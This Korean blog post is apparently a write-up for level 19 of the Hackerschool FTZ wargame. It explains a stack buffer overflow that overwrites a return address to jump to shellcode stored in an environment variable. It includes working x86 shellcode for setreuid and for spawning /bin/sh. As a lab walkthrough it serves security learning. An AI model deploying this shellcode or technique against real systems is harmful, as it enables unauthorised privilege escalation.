attackme의 코드를 봅시다.
권한을 올려주는 코드가 보이지않습니다.
이는 setreuid코드를 직접 쉘 코드로 짜와야 한다는 뜻입니다..
우선 메인함수를 보면, 처음에 40 바이트를 할당하였습니다.
그럼 메모리의 구조는
| buffer: 40 byte | SEP: 4 byte | RET: 4 byte |
이므로 총 44바이트의 쓸모없는 값을 넣은 후 4 바이트를 쉘코드를 가진 환경변수의 주소로 덮어주면 될 것 같습니다.
level20의 setuid입니다.
setreuid 쉘 코드 :
\x31\xc0\x31\xdb\x31\xc9\x66\xbb\x1c\x0c\x66\xb9\x1c\x0c\xb0\x46\xcd\x80
25byte 쉘 코드: \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
이 두 가지의 쉘 코드를 가진 환경변수 SHELLCODE를 만들어줍시다.
만들어준 환경변수의 주소 값을 가져오고,
페이로드에 그 주소 값을 넣어 쉘 코드를 실행시켜주면 끝!
'Security > 해커스쿨_FTZ' 카테고리의 다른 글
[해커스쿨_FTZ] level20 (0) | 2018.10.07 |
---|---|
[해커스쿨_FTZ] level18 (0) | 2018.10.07 |
[해커스쿨_FTZ] level17 (0) | 2018.10.07 |
[해커스쿨_FTZ] level16 (0) | 2018.10.07 |
[해커스쿨_FTZ] level13 (0) | 2018.10.07 |